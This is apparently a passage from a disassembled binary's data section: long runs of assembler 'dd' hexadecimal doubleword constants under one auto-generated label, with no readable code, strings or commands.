5ED2D912h, 0A829F418h, 5C8C00B8h, 335D61CBh, 0A100177Fh dd 1679F7DAh, 7F61315h, 88F91DE2h, 9FECDA3Bh, 1F94C025h dd 0AC806139h, 0A7A02300h, 1A3AD4EBh, 0F7E107E8h, 70BA345Ch dd 0D0A1C0B6h, 1514D50Ah, 0F6419C59h, 51BEA03Dh, 19985498h dd 771E16C4h, 64CADF8Bh, 0A318FCD3h, 9EBE29h, 6A6B650Fh dd 0F9A24077h, 0AA9FD018h, 1581321h, 2D8B6926h, 40BF9C82h dd 2322F958h, 6785D00h, 0E2C9BA3Bh, 0CFD13F7Eh, 7B4BB2Ah dd 278976F9h, 3BB0C0B3h, 0C00297B4h, 0E4743E28h, 70B88C03h dd 0A12220C6h, 670BA500h, 7D5CD205h, 80900ABh, 0D3AC412Dh dd 583333F6h, 0B84528D5h, 7C8F407h, 83D7EF7h, 644F5FFAh dd 0C3990481h, 915192A8h, 1BBD8E00h, 0DC9D1h, 835867FBh dd 2D29AA36h, 8A11A701h, 0C10FA2ABh, 3CC6B98Dh, 0DECDE069h dd 59AB7E01h, 0D8FC40F7h, 0F2F8E824h, 507A93h, 4672965Dh dd 0BE92B57Dh, 7EBCD854h, 8FE22602h, 0C054E34Ah, 7B0CC8DCh dd 307148DCh, 16104E80h, 48C04BABh, 7E6D6EFFh, 31272AC9h dd 8CC030E0h, 50679B51h, 0E0914601h, 65080AB0h, 1C12FC8h dd 0E3AC8E0Bh, 331E160Ch, 8E3F2140h, 8C60A795h, 4B1949E7h dd 0EC009378h, 875FA5C3h, 557F588h, 26F918D7h, 0FE8447BDh dd 30864722h, 0AE9A0FDAh, 11CB300h, 81A61817h, 293900ACh dd 0D41A5CA1h, 8C0016A7h, 0B852A833h, 0FB910F3h, 2070F7EDh dd 53698Fh, 0C9FE8B40h, 0B0A8922Bh, 971D93D1h, 0B6191B15h dd 20222478h, 0B750076h, 4F8765Dh, 0EE0EE060h, 0D235AC6Fh dd 0B858EC1Ch, 0EA43E1h, 0F88B4FADh, 8945AB96h, 126E20C8h dd 7ED030B6h, 271D5B0h, 64316B00h, 0E8FA8E83h, 15C9718Dh dd 0FC869921h, 41F30500h, 0C2C18A7Ch, 1241A760h, 3F514F3Dh dd 7D009AD4h, 0DE9CC5F6h, 0B402E36Fh, 3B26E289h, 2BF0A7C8h dd 0BA822E50h, 603EFC8Bh, 0EDECB1A4h, 0BC60A77Dh, 0DE744711h dd 5CB132B3h, 0E02FA218h, 0EACE3178h, 0FA2B051Fh, 408BBE6Bh dd 5372EEF0h, 0D300C498h, 49EBDC18h, 0FC441Bh, 9029F6Eh dd 0D6F675F8h, 0D142E891h, 0FCA3880h, 60C25900h, 66E476F2h dd 0E58302FDh, 0CB01A772h, 0C81A9C22h, 3C3B118h, 6B4F9E38h dd 81B813F2h, 7D01D3CAh, 14BB3488h, 0A982DD56h, 0E58C3ADFh dd 62C0F849h, 32A80014h, 69077754h, 226F3D78h, 1AA47280h dd 0AB4C4E3Eh, 40004674h, 3AD890C7h, 93B955Dh, 0AFF77E78h dd 0C8C2C424h, 340010D0h, 0F97A9D88h, 502966h, 0B8BA3E9Ah dd 0F64A9F6Ch, 0A7851B00h, 64C9A64Bh, 0EC7E4E70h, 0BE26184Dh dd 392BB1E1h, 0F281DB74h, 9FBA6057h, 0DCDEE844h, 873F5099h dd 96CC4EB2h, 54391CF0h, 0A74040CEh, 1D00E490h, 2C3CA25Eh dd 0ED39C682h, 0C0F93998h, 0C1146CCAh, 3F28C2B2h, 0B67C008Eh dd 44E3D13Ch, 29F2E8F5h, 0CF4201Fh, 1EA1C924h, 0B2136F00h dd 710EB150h, 5ABB00F0h, 0F767EAABh, 28913D88h, 61D3C20Ch dd 288F052Eh, 9C257A13h, 0D245B590h, 7BEC90C6h, 37FF0h dd 0F76BC06h, 828A397Ch, 0C200B798h, 0D7131FFEh, 3DAB614h dd 0A5A68702h, 40C09181h, 50C2395h, 69C726E6h, 2E8A00E0h dd 4671863Fh, 7B00BFC0h, 0A3B84B42h, 9B9CC16h, 0C3E44177h dd 885D7905h, 3F0CB0D0h, 0A12FDA21h, 0CE391420h, 4680D424h dd 2E715C1h, 4EDC000h, 0D1E42C13h, 0D74B028Dh, 303CC9CCh dd 17F7A064h, 4CDE9970h, 3AE87062h, 179138Ch, 0A2614D41h dd 61845D12h, 875C4CA8h, 0FD8000B9h, 45B15373h, 0B0700093h dd 0F5F72347h, 0B5095F34h, 8107D65Dh, 0C109A260h, 623EC611h dd 9CD13E24h, 11B0C2B6h, 0CEC09Dh, 1849B83Dh, 0B904356Bh dd 5BEB7012h, 438F9448h, 4CA0DFD5h, 0E0C070DEh, 0AE03B316h dd 0BD4A1123h, 0ECB8028Eh, 8704FE11h, 0BC46A784h, 40170089h dd 58EDF01Bh, 701494C0h, 3E98EE4Bh, 379896F3h, 3BF64802h dd 2220E4A6h, 0A70ADE23h, 0C0D65C1Fh, 0E65DD160h, 0E8230007h dd 615BC2F7h, 0E52E8693h, 458150D5h, 159FE00Fh, 7A2C24h dd 0FB6FA0BEh, 0CBAC695h, 0CDE63FB0h, 0EBAE6E00h, 0B97DEFC3h dd 7CBF50DAh, 0B458032Ch, 8823D6D4h, 4EAC889Dh, 0B244A000h dd 8113F485h, 0E72029Ah, 0C3167D68h, 0B1071452h, 0CDB8C8C2h dd 17C0BEBh, 581FF5F4h, 49219063h, 0D463F200h, 48BA39B0h dd 8F816025h, 0FC768483h, 5600DE86h, 5C90E12Eh, 15B8196Eh dd 28151729h, 26895450h, 0C0421C2h, 7519DCBEh, 0E8253F76h dd 9300362h, 9C6115CEh dd 9E009011h, 89B1C1D4h, 0E0006ABCh, 0D23C1DFBh, 0EE23ED14h dd 60610630h, 0E1A420C9h, 6189C031h, 5EE42DE5h, 0DD660022h dd 99719454h, 0A8222805h, 0FEC7EA15h, 122D3FF1h, 9E228E80h dd 786AF5CAh, 3778D098h, 183EF62Eh, 0C8FBC061h, 2CDF60A6h dd 0E91D60A8h, 4503B49Eh, 481BDF9Ch, 51DD98DEh, 5D0F02F1h dd 21A10AD7h, 0EFB08060h, 14D6F800h, 0C6844509h, 98E62426h dd 24C30294h, 2CCEB9E5h, 270C1200h, 48A82E26h, 5D7E0FFAh dd 0EC4229A4h, 0FCE0FB4Eh, 0CD003FA3h, 63202A5Fh, 0A4CF76A8h dd 0C1BE62A8h, 0A5C3F7B1h, 6D35FAF0h, 0AA081E02h, 599F6BD0h dd 3DF680A8h, 348F9ED8h, 5E6C3E00h, 4E8B5C68h, 91387556h dd 6A7B8028h, 970AC1E9h, 12141F48h, 203137F7h, 0E6DE1C55h dd 11800F34h, 32606DFAh, 4DCE1E98h, 0EAF9B300h, 65B68ED1h dd 42CCB1D5h, 0A3249C95h, 24456740h, 0F304DFC0h, 0BD9BB30Fh dd 0DD68C8h, 28FC1401h, 0B54B2A33h, 0B88A4200h, 0BFBE4FD3h dd 0EC3D5468h, 1E349135h, 441C6414h, 13B8C824h, 1714738h dd 0B8CE38A3h, 506225C9h, 218F907h, 33044011h, 0D148FA1Eh dd 21F80C4Bh, 7DF141C4h, 2CF200DBh, 0A8A2E2A3h, 4229B1ABh dd 0C980A019h, 64F23FC4h, 4B170102h, 27C6D5F0h, 22D4322Eh dd 0D3E0008Bh, 5A958529h, 0BB008F40h, 0A17CA273h, 69C50DFh dd 0C0F806BCh, 2430C197h, 0F6B089D0h, 1D77364h, 653B9D25h dd 0C84A2159h, 200F9E6h, 8819B935h, 0A9D67033h, 11E22288h dd 165D10BEh, 0A8C900CBh, 79E5A393h, 22A9E5Ah, 0DA0068AEh dd 0C1C58F4Bh, 30158BACh, 0F6498054h, 0C183A437h, 99D3F545h dd 8C3055DDh, 301C5814h, 15DB0596h, 0D408004Fh, 0F69A376Ah dd 50403328h, 0B004585Ch, 0B06A5Eh, 2CE4D554h, 8804310Ah dd 7793EF02h, 99580340h, 18184948h, 0A9BAA109h, 0AC001003h dd 0C842E338h, 111C7922h, 0FB568003h, 28A9CEA6h, 270CBD76h dd 34201B15h, 0F7D13DA1h, 1D52112h, 12883814h, 0F80086C1h dd 0F23305CFh, 3DA33CF8h, 0A77DCC89h, 72E15090h, 442A451Fh dd 3B0A8E40h, 737A156h, 9E5ED0FAh, 0B0E14999h, 60D84B1Ch dd 0EC729D06h, 1E41987Bh, 2EA2BDD2h, 0AFF9306Dh, 5E01DDEAh dd 0C6D1F932h, 903C9F2Ah, 443C3396h, 947B03F9h, 0C26A8h dd 742910A1h, 26BA1980h, 4734A741h, 67F6A0DCh, 4F0F7F2Ah dd 0A36D887Dh, 0B2DD4B77h, 28106646h, 58C0850Eh, 1C8064BDh dd 5296C458h, 19167200h, 93E1C1CDh, 0AE4030F6h, 0B8F14A39h dd 15017EFEh, 0E97F995Eh, 0FC60BF1Bh, 42988F6h, 0CC514F00h dd 507AF3DDh, 15790020h, 1B4BA919h, 0ED1D1724h, 0C312720Ah dd 98874897h, 96D274D0h, 8CEE0003h, 0AEAA70AFh, 21011FC5h dd 0EDACD112h, 904C5AA9h, 383DEDECh, 714C5400h, 32FD91A0h dd 51F89777h, 7BCFD106h, 369D8B6h, 643DB8F9h, 49DE5AA8h dd 0C62B1402h, 404C78BBh, 73220103h, 8090B09Fh, 0A381C01Ch dd 0D367A870h, 683E4C2Fh, 39212000h, 0BD9CD438h, 0DDD894A8h dd 0DA2D0E00h, 8C3D4857h, 88A4BAECh, 3D3AD224h, 0AA0FB696h dd 0AC83F739h, 33A9C6B9h, 16B8222Bh, 0E8308323h, 5E1339h dd 936489B0h, 0F88B4B7Ah, 9726C918h, 3803C4A9h, 5097A213h dd 0D8FC37D1h, 80F8C094h, 24EB1D79h, 0B22E1D64h, 9AA8402Dh dd 0A21905CCh, 0AB024493h, 838A2115h, 783EC944h, 0C25802A1h dd 9C88E41Dh, 8DDFD480h, 349439C6h, 46442542h, 822222D0h dd 0AE540498h, 0DB052A98h, 47090739h, 0C5609CC7h, 9A4BA403h dd 7CB920h, 0BF9073D8h, 0BD3D7B1Ch, 3CE51EB0h, 39B32BC0h dd 0B8D358F2h, 0D05618F4h, 2E1FB1B2h, 0CA25CB02h, 5ADBC921h dd 0E1110480h, 0C270F379h, 6B22DE50h, 0D330602Dh, 0CC48C49Ah dd 0C82406B5h, 0C47F3EC9h, 0F595F481h, 63273BACh, 101B00B4h dd 72466958h, 0B0FE00BEh, 5A1C0E5Eh, 50C895D3h, 37D48202h dd 0C075C9h, 1C89D5E2h, 41239433h, 0C93FA207h, 2133FBA7h dd 0D0C913F3h, 50A04B5Ch, 7400E496h, 2825A057h, 0B03DE0h dd 3F9DDEA9h, 8F24010Eh, 68E4C302h, 0E3CB2B20h, 74A02220h dd 1B65FC90h, 7000C249h, 0A494B12Fh, 0C7B300B6h, 0C014C162h dd 0C89859ABh, 27C0F350h, 9C489081h, 0A02988C6h, 21A80B00h dd 8EBC28D1h, 0AD1800F6h, 0E36616EEh, 6824DFE9h, 0B880A8D4h dd 0EBC472F9h, 0A74512CFh, 0D4D83476h, 9880C700h, 6DC00580h dd 1FC45Ch, 3C23F919h, 0DE5E56B9h, 1AB30D1Eh, 40839D2h dd 0DDAC0814h, 0BE0FA205h, 0D422E0B2h, 367DF905h, 841FD508h dd 8BA4443Ah, 0FCFD6AB8h, 3516151Ch, 0FB64B40h, 34DA08h dd 0FB148D44h, 9A5626C3h, 7D886350h, 124410B9h, 41A49AC0h dd 0CF9C016Ch, 8D6ABC04h, 0FFE0C65Ch, 98282FE7h, 942FF8AFh dd 874C30DCh, 78500356h, 436C5123h, 53BD35C0h, 4F22ECB2h dd 3FF62D84h, 2458C496h, 0FA91809Ch, 451B5CDh, 0CFF9B449h dd 4EBC9058h, 361CB610h, 0C9843D7Dh, 88CA9C39h, 2B718300h dd 0DD36C434h, 3BF7D00Ah, 221E38BDh, 82EC82A2h, 59E5D34h dd 20E84AF5h, 611824C8h, 0D2A83DAEh, 583D6C44h, 34C64053h dd 0E2C12F2Bh, 0E8A200DCh, 0FB6A541Fh, 8B9003C8h, 12439ED5h dd 0ABEF3ED8h, 555CB900h, 0A86E34D3h, 0AF4A325Bh, 245A2551h dd 3CF7F90Ah, 55085CAEh, 167C8198h, 282563F3h, 2778050h dd 1398FA3Dh, 12B9BB4Ah, 0D0F04049h, 2015AA79h, 80B6B024h dd 94C0FAE5h, 1C7496DEh, 4D8204Ah, 0BFB34983h, 0DA7ACD80h dd 0F80458A7h, 0CF09A908h, 48C61789h, 16BE80h, 7C758622h dd 0DA0AE830h, 0A7258890h, 3C9403h, 3A964656h, 0A95C8FB4h dd 0A8D8201h, 0D4592189h, 0EEE810EFh, 24A72EB5h, 0C763E160h dd 3A060091h, 6C430732h, 0B1003D3Fh, 490DC22h, 1E1670C0h dd 1E034F2Fh, 62FC8744h, 0D9DDF061h, 2600F34Bh, 8B792D0Ah dd 0E3811AEh, 6E43974Fh, 0AAB260C0h, 2405942Eh, 0DC6A7E29h dd 7B6B00FBh, 0E2415643h, 0BD374C00h, 0AAA4F876h, 182F7226h dd 58309EEFh, 0C0002A70h, 1EF0BCB3h, 1E93AECAh, 40B109C7h dd 0CB7004C6h, 0DE48CEB8h, 2D5219D2h, 0D23041h, 3C1889E8h dd 78EEB300h, 0A4DBF4DCh, 0FA1D013Fh, 8D9C142Ah, 2FC08325h dd 0E8274C06h, 1C878BAh, 8AD96ABh, 87198444h, 3671159h dd 0D00D9BB0h, 3A541D60h, 0D4788774h, 9453E082h, 1C15E977h dd 8CF4AEh, 0C942CF4Fh, 2E9662h, 14FF71CCh, 0FE2382AFh dd 77E2BB06h, 1B12FEFh, 7A94645Ch, 807914E1h, 74B5B799h dd 0F4575Bh, 938A12E0h, 1CD0673Fh, 9C7CF9E3h, 31B01628h dd 8FE47Ah, 0DF631DBAh, 0E9C87F8Ch, 0F42BA201h, 6D85FCD5h dd 9D6AB450h, 747A0061h, 73B89E04h, 7E29E8F5h, 9215A408h dd 993900C4h, 69013652h, 43040634h, 5EE82018h, 542FE906h dd 188027D9h, 4111A0F8h, 6401C86Ah, 4BCD1A8Bh, 619101DCh dd 74806307h, 8EB91828h, 466B1915h, 0BD8F1F28h, 1CD48302h dd 84DF6CECh, 274B2BACh, 0AC9B9400h, 0CD071317h, 0DFEAB196h dd 0E528F4Fh, 7A809F24h, 0A91C53F3h, 0C8785459h, 0B59E00B3h dd 0E0C0DF38h, 0E354F1FEh, 0B1140288h, 0C0C8254Fh, 85E4AC6h dd 0F8A90EBDh, 0FA652201h, 291803B4h, 9DA07142h, 9611572h dd 988757C0h, 0FD4A9C51h, 4FEEB180h, 35B8A8FEh, 99F5F40Fh dd 0C8490093h, 183AD74Bh, 606CA768h, 90A41BF9h, 5FC5A300h dd 28DB99C9h, 0A79C08Fh dd 156EA9C2h, 0A5203E72h, 0E84300Ch, 935CA839h, 7F298001h dd 0B6EABC4Dh, 0AB98EE4h, 18A3FEE6h, 469C44F0h, 13A291C9h dd 13B34Dh, 0EF2823EEh, 84392E05h, 1930E2F9h, 23C090A2h dd 199B6F56h, 7FAC9C02h, 7202A444h, 1C1B71C8h, 86D8B0A3h dd 0A6F8142Ah, 99224021h, 22E45E0Fh, 4FEAA052h, 0B7286Ah dd 10FB5ACDh, 0E89AB9D5h, 41896403h, 0F3865613h, 7779102Ch dd 0A3738027h, 0CFD1F039h, 0A6018A80h, 481D8CC9h, 0B2E0FD5Ch dd 3132FAE6h, 20988927h, 12E6513Ch, 682DE100h, 0F75DCEB0h dd 2E44004Bh, 4E02D564h, 0B10F73D8h, 0A9677025h, 21C0119Dh dd 0AC8B7610h, 3F5C7100h, 0CD68415Dh, 2A0300E2h, 0B8A68C79h dd 6C006D17h, 0CBC12D36h, 1CC05512h, 0CEE702B2h, 0C38F382Ah dd 1B8FE200h, 11C3396Bh, 7B31202h, 0E963DB29h, 926100B4h dd 140E5C18h, 0EA678807h, 0D400BE52h, 17E4976h, 0B38F0AC7h dd 2C052Ah, 98E55F8Eh, 0B9040869h, 0B645D831h, 60BBC303h dd 8668346Fh, 30191B41h, 0DE4108CBh, 3970163Ch, 0A51D2116h dd 5F51C803h, 23719808h, 1B8E0057h, 63EF13ABh, 39C13DCEh dd 0DDBDB3D3h, 3B8B32CCh, 96981939h, 0E74D902Ch, 6DB77E01h dd 68C680D6h, 0EF31C50h, 979400EAh, 0A8F3240h, 61F895C8h dd 0C58CF054h, 0A8F84800h, 590C3DDDh, 0E071003Ch, 0A2E76899h dd 0DB546B13h, 0D53E639Ch, 20F00E98h, 7C59CA99h, 420185A0h dd 0CD8581BEh, 818701CBh, 0D00A9899h, 5EBA62F0h, 0C2AD4A18h dd 18D2C351h, 11C15513h, 7F063661h, 12CE6CEEh, 38E07F41h dd 0F3806ED3h, 1D67BC83h, 0F500576Ch, 86D4E5BEh, 312EB92Dh dd 6130E8DAh, 0B1D980D9h, 8B46F1CCh, 9B4C00F3h, 2956624Ah dd 0C00DC98h, 0B15FA57Ah, 37D828BFh, 21710ECBh, 0E4BE2920h dd 0ECFF0237h, 9601EDBAh, 0A46B749h, 0CED8F905h, 0E2EC4001h dd 0C1DEF730h, 2FEDA0h, 1F6DD842h, 0E469AECDh, 0D57F7170h dd 223B6F78h, 0DB471592h, 0B9BA0080h, 0B5A338A6h, 54C8498Ah dd 1E00C422h, 0BD4CF74Dh, 3005E881h, 7939ADE5h, 78001C99h dd 9BB76B33h, 3C357B0Bh, 5339D534h, 3930D92h, 5703330Ch dd 0E4BE6011h, 8FE53E71h, 29CF4C49h, 0B89885A0h, 4712383Dh dd 7E003553h, 59BD328Ah, 3A8C90C0h, 0E05460BCh, 0C2ACF6D8h dd 0EF87A991h, 0E803BCA0h, 0DE01B830h, 0D8041F5Ah, 2992A643h dd 504C27CBh, 460AB69Eh, 0CFC94403h, 0EF6B82CDh, 0A2E08861h dd 8F493180h, 9B081FC8h, 21731007h, 0E11EA1D6h, 0AAE09E35h dd 93252980h, 5BB1A9B6h, 0DB8C3700h, 0DF709DCFh, 0B39E0C99h dd 13790B2Fh, 0B0CD6C2Ah, 8F18D078h, 0FFA847ECh, 12F20CDFh dd 6321966Bh, 2A874B02h, 8098CF13h, 3A8CC0E4h, 0D03103B7h dd 0CCCEFEEh, 0F74A5900h, 0E0842620h, 25D90266h, 0A1C134B3h dd 34B58161h, 0A443350h, 0C2692813h, 94D60934h, 0A8105FD5h dd 161386C7h, 602029B9h, 0C8959E31h, 0FE8C0DB0h, 1A06Ch dd 71E2D26Dh, 109DD4DDh, 0B300D891h, 50E141CCh, 0A1BD262Ah dd 0C090241Eh, 884D906Dh, 79A9E530h, 98F554FEh, 0A8200ACh dd 1C4F506Ch, 8000238Ah, 84FCF06Fh, 0AD67B91h, 2AB0223Bh dd 0D5E24180h, 8E9A84Ch, 6E88422h, 0B8A28E8Ah, 871811DCh dd 5829B0E5h, 14233B40h, 30802B3Eh, 3B685BF9h, 69719916h dd 0D838BD04h, 1C920740h, 0F1E491CBh, 9F6F0E4h, 6E194B37h dd 1271C40Fh, 0E10041DCh, 97CE5A65h, 0A9310133h, 134060F2h dd 10BC486Ah, 52980700h, 5C343669h, 21E10097h, 7A4B6DFFh dd 0CE4C40D5h, 94AF80FCh, 1424AA6h, 0F7B146DCh, 0E08CF5A7h dd 0ED00FC7Eh, 7FB0E37Ch, 23F8D3Ah, 873D12C1h, 50C613B4h dd 97DC6300h, 3296D58Eh, 0B53F118Ah, 8F550013h, 0F9684202h dd 0A00C00C2h, 37DF25DAh, 0F255E59Bh, 0F7F40280h, 1B019864h dd 7848F685h, 5C100FCDh, 57007C70h, 1651E25Ah, 17EBC1h dd 0D9C07E3Fh, 0B5A86489h, 0AB42D41Fh, 2AB1850Bh, 6C653470h dd 83FBC08h, 0BB0E0251h, 6CDCEEEBh, 0A4B5E030h, 17041EFCh dd 132D40D5h, 0F5ECA13Eh, 0CDAED900h, 0BEA4108Eh, 0B07A7503h dd 6310F9D4h, 1300E3FDh, 0FB925DFh, 0CDB3E05h, 74A46CD7h dd 7C09D23Ch, 8429C12Eh, 60C13F56h, 1201C3F1h, 0A44980DAh dd 30478B0Bh, 0BB6126E1h, 43BD44A0h, 0B85F902Ch, 0F5A2C7h dd 0D242F344h, 2F83E880h, 0C8374D05h, 0CC8F755h, 0C28100ADh dd 4945EAD0h, 7001FEBh, 0FD596705h, 95FE78Fh, 32D59DECh dd 0EA817418h, 1F8AA088h, 0C60396D4h, 19EEBDA2h, 30668700h dd 0CE6DE710h, 6000E909h, 0B7005E6Fh, 6A97AFF2h, 397083F7h dd 5C0080F8h, 66889FE4h, 0FE0C4236h, 3907CD13h, 195A00E5h dd 0D4F4EDFh, 491BA2DDh, 0B191AEFAh, 2B7196F3h, 1AB79760h dd 9888CA03h, 0B147D082h, 5042BF11h, 6CDC46D8h, 650CE0EBh dd 0FC0EB8A4h, 8074DC06h, 2D76469Ah, 0E3C4245Dh, 40AC1858h dd 0C788B644h, 78880294h, 7ED7704Bh, 6DF9D0C0h, 10BDA42Ch dd 0D15FFF40h, 11DA6260h, 607F6A17h, 1626FDA9h, 0B9F358h dd 0CB2CD7B3h, 310938CFh, 916A12D5h, 2830EBDCh, 2EB0ACF2h dd 2848D37h, 0CD625058h, 90006844h, 0A907FA6Fh, 0D6BEC6E2h dd 0DC683148h, 0BDF0839Ah, 0F25F0498h, 72F9600Ah, 5C760A26h dd 4FF093A4h, 81B00197h, 61372B6Ah, 0BCCC800h, 709FEF88h dd 6F9C319Ah, 10D78BF0h, 7CD01687h, 58ED01EBh, 0D6688F7Bh dd 0AD242041h, 34805284h, 0EBC0F730h, 6F00E268h, 0B3E85E5h dd 1713DC78h, 0FADD0C40h, 0E46E1707h, 0C351BF83h, 35D3B071h dd 0D4E30174h, 0CCEA2CBEh, 85A18304h, 0F88E6BE1h, 0AECBD088h dd 75772090h, 0BA8008B1h, 0DBA5D9D4h, 0B1F7FC1h, 4989C0EEh dd 2A78B87h, 71C2881Bh, 0AE0C2864h, 0D1A4E067h, 47E06Ch dd 1D903BFBh, 0FE3D7DBCh, 3492AF00h, 12F45867h, 0DEF21440h dd 1F218499h, 4EDC8B09h, 0A7D0BD8h, 8C80E291h, 4819835Ch dd 0B4C23E01h, 0BCF7DE49h, 4F522980h, 35675CFCh, 220703E6h dd 2DF56964h, 1AE97B30h, 0B13A6B79h, 871B8407h, 241B8936h dd 227441B8h, 1097D430h, 0A0673FF4h, 72BC31FCh, 71EB0408h dd 824ABBCEh, 4413824h, 9681B9CCh, 7C40DC30h, 0CD6D88E2h dd 5461CF05h, 65F56460h, 9401AD2Bh, 379E98F4h, 0F9EC9C75h dd 60830646h, 888F906Eh, 0B5DC74FBh, 0B4A1D56Ah, 0D200AE11h dd 0B68B27E4h, 0C90F2813h, 4101BDD4h, 0C1A9BEA2h, 8C901202h dd 5A987F07h, 9C4CB300h, 0D2693E8h, 4B6B021Ch, 0CC83D721h dd 8700CCE4h, 0B71E01FCh, 78B6DA2Dh, 114B0BBDh, 788B6730h dd 0F8B29007h, 0AB1F3680h, 5FF5E7Ch, 99220668h, 8728CCA8h dd 1DF68E0Fh, 63334069h, 3F5DF57h, 68974A04h, 5022CEEFh dd 1CE450FAh, 5491002Ah, 0EF468570h, 6B0B7EE8h, 7C23076h dd 995BB360h, 0EF0869E8h, 0F86B3317h, 537A8C00h, 5486A281h dd 940FA0D8h, 0BEE980D4h, 0DAEF3360h, 311B5405h, 0BC21E2E4h dd 5C6043D8h, 8C59D245h, 3E00C7F0h, 0E1D3569h, 5073EBEDh dd 805D8C36h, 2F88B962h, 0FE68031Fh, 0DFF79930h, 81397903h dd 0A06C74EFh, 32C17DD4h, 56400693h, 24B6B202h, 0E1C488CDh dd 262AEE00h, 0CD2490Bh, 11640983h, 9583384Ch, 0B048362Eh dd 994580E0h, 1FC04D8Eh, 0D2B309EAh, 0A854C6DAh, 6C1222C2h dd 82E859CCh, 0E9C0488Fh, 3E8A10C0h, 0B0339389h, 43920301h dd 0DDD8914Eh, 78C2830h dword_55FD48 dd 1F33D0C6h, 0BEDC040Bh, 257460C8h, 0A8A0CD0Dh, 6E63BFB0h dd 8DAB0F07h, 7A409EF2h, 72E6499h, 0C0B7B8D3h, 83155DAh dd 0A208FB84h, 34B202B4h, 1301E8D7h, 0B98CB156h, 0DDF1A3E4h dd 99342107h, 2E006A67h, 6391286h, 699DEF6Dh, 0DD459850h dd 4183B6F5h, 6FDC0F9Ah, 5AE85EE3h, 0EE247053h, 7605D332h dd 980821Ch, 14A9C1A6h, 20C221BEh, 7FF3DDC0h, 0CF00EB0Fh dd 426D7EC5h, 0B854ED3Fh, 3CF81907h, 3B940A0h, 0A8815841h dd 183FB621h, 51A060A6h, 87D893C2h, 771B6Eh, 9A32BDCBh dd 3DF08500h, 765DDB72h, 3068387Dh, 0BEC084DCh, 87CEA117h dd 4BC02948h, 568C1420h, 64FF07B8h, 0A02BCBE8h, 0E080331Dh dd 1EA73E07h, 46D1094Fh, 6584ACh, 944320C2h, 9E003332h dd 0CE20311Eh, 0C41244D5h, 8861D259h, 5B00CAACh, 6EDC243Eh dd 687773h, 5A9E9346h, 6F89982Fh, 7136F201h, 0E4D614C5h dd 3433A031h, 0FC84D000h, 8D805B63h, 0CA0069FAh, 8539F861h dd 16A7F66Ah, 4BBFB68h, 21AB5E14h, 9712E887h, 4F6BDC40h dd 80DD7824h, 910B842h, 6F13F010h, 8820B048h, 12780A6h dd 0E3DF1E77h, 70DEB900h, 0F89B0410h, 0C37A0286h, 7815053Dh dd 0F459EC62h, 3B225500h, 9A9B5C1h, 0EAE4398Eh, 0C3FB9081h dd 9C7260h, 0B32878F5h, 62DC2h, 179154C9h, 34EF6FE4h, 11B84248h dd 86103D02h, 751185ECh, 87E5F082h, 40C0EF54h, 1716C86h dd 769CFB20h, 40B0D5D3h, 0B40ABC96h, 7A8CBD4Ch, 0D00CE841h dd 948B0051h, 9E38504Bh, 0D500C609h, 29C82D68h, 76A3EA34h dd 59020B95h, 680936FBh, 8C16648Eh, 4200BD78h, 2D419367h dd 60CC898Ah, 0C2FE2106h, 0A00D960h, 0DB2110E4h, 0F2CF89Dh dd 0D4D104C5h, 0C0E820D6h, 4071B14Ch, 6C83600h, 0B9CE30Ch dd 4BD90081h, 4A525765h, 69256C0Fh, 0A5FC82C1h, 11380A04h dd 159300DFh, 5CC00362h, 0E6D0002Bh, 82A556D6h, 8031D63h dd 4736674Ch, 86D3D02Ah, 0B7F72642h, 20E416D8h, 33D5C5A0h dd 678C9C00h, 726E0CEh, 0BD7816ACh, 0E4EC3186h, 683180AFh dd 0B21669B4h, 0AEA20007h, 5348252Bh, 0B80AF77Eh, 98062CB3h dd 623FD561h, 0D3C7142Ch, 0D4DB395h, 98C7D131h, 9400A733h dd 6E4A1363h, 38D74C5Ch, 7436D020h, 84AC2042h, 0C4F0BE05h dd 90A4CB98h, 83900E17h, 72C09F8Dh, 0DC04FDDAh, 0E9741001h dd 0F797D559h, 0AA001432h, 0E19C2918h, 43FC905Eh, 9D2B744h dd 0A4708F99h, 2022DD0Bh, 60D932D8h, 0E4260049h, 310CF79h dd 7FA1840Ah, 6DE3046Bh, 71B6B1B8h, 0BF432A1Ah, 1F04D1B0h dd 1FFD8070h, 2EE5633Ch, 536ABF15h, 0D2B71DB4h, 0AC03F0E9h dd 880D2524h, 71BC4BE0h, 2E4C018Ah, 3A626412h, 0FCCC71D2h dd 0C80F8F55h, 4BAB5798h, 9FCC60CFh, 0F60230D5h, 13A39B18h dd 0ACC47429h, 284C0491h, 37FEC822h, 7044CC9Eh, 2C79D262h dd 0E30E5500h, 1A017EAh, 85F83433h, 0E5A2B89Ch, 0F1C2387h dd 82D62EEBh, 79602F68h, 0DAA204C8h, 0B41B836Dh, 0B62E8EA8h dd 13877B3Dh, 7416E2DDh, 0AA810Fh, 0C08580BDh, 56602CBAh dd 47D88BD8h, 0B34A4498h, 11BDD031h, 382C8CA9h, 7FEF5F80h dd 0D03AD66h, 7CE58F82h, 0BF291103h, 681226D5h, 9D8D4040h dd 0F90501FEh, 7451C8DCh, 0B460914Bh, 4020CB27h, 1789313Dh dd 0E47D2100h, 0B3927BF8h, 46A0A629h, 4287046Fh, 2CC93859h dd 0FA6C6C4Ch, 0A6BF4044h, 0DA6A1314h, 80353F1Ch, 8D61D414h dd 16D650FBh, 20E5BD81h, 4F6F9500h, 6C2BBA07h, 654ECFCBh dd 1000E4D8h, 0F684BC4h, 174102E2h, 0EC3A368Dh, 0E89EF482h dd 80E46104h, 0C9C2002Ch, 0EAE5598Bh, 4108EDBBh, 84E9041Fh dd 0CCFC1C87h, 2B00BB64h, 0F59437D4h, 3A14A7D6h, 7CB88D24h dd 3A2CF380h, 8FD42E8Ah, 5350D4B0h, 0A4A472C0h, 310544h dd 9862F5F8h, 0EE5F63D4h, 61C07801h, 0E1B98480h, 7909A620h dd 28B134h, 0D8A3438Eh, 4E03F5C9h, 5BE4ECDEh, 0A9C680BEh dd 44F14ABDh, 5FAC4158h, 0BC90B513h, 7C3247FEh, 4B36EE3Ah dd 4B545EAEh, 584BD3AAh, 11D9F7C1h, 0EED0D061h, 0FE290E14h dd 1FAF1778h, 1498C1EBh, 0BA004B3Ch, 6529AFC8h, 2A8A2889h dd 7F403425h, 0C0E896C0h, 71456AEFh, 0BFB45205h, 0C2C019F3h dd 73B24CFh, 36D1A882h, 0A7E4C36Ah, 0B4594900h, 17A3B59Ch dd 0F60D00E6h, 83B2180Fh, 0AE01FA0Eh, 6AED9D2Dh, 0D98EFFCEh dd 0B389B63Ah, 0BB00184Ch, 8242FBCEh, 8678F2h, 0DA618CAh dd 0BAEE91B6h, 63783D62h, 97844CEh, 52A8AA99h, 33E889F8h dd 0A0FB2F25h, 